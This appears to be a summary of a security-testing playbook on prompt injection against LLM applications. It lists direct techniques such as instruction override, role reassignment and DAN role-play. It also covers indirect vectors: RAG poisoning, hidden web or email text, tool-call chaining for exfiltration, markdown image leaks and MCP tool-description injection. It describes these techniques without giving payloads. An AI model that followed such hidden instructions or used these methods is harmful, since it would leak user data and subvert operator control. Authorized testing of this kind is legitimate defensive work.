llm-prompt-injection

A security-testing playbook for probing AI/LLM applications against prompt injection. It separates direct injection — user input that overrides or subverts system instructions through techniques like instruction override, role reassignment, priority escalation, completion hijacking, XML-tag prompt termination, context manipulation, and role-play framings such as DAN — from indirect injection, where malicious instructions arrive through a data channel the model processes rather than being typed by the user.

Indirect vectors include RAG poisoning (submitting poisoned documents that get indexed and retrieved), web-browsing injection using off-screen or zero-width hidden text that a human reader never sees, and email or message injection with hidden white-text instructions. It then covers tool and function-calling abuse: direct tool invocation to read sensitive files or make outbound requests, argument injection (for example smuggling SQL into a tool's query parameter), and chaining individually innocuous tool calls (read, then summarize, then POST) to achieve data exfiltration.

Dedicated sections address data exfiltration through markdown image injection (a rendered image URL that leaks data in its query string), link injection, and encoding context into tool-call arguments, as well as Model Context Protocol risks — untrusted MCP servers performing tool-description injection, malicious default parameters, response injection, schema manipulation, and cross-MCP data leakage. It routes to related skills (ai-ml-security, xss-cross-site-scripting, ssrf-server-side-request-forgery) and a JAILBREAK_PATTERNS.md catalog of jailbreak techniques, and is intended for authorized testing of LLM applications, described factually as a security-assessment resource.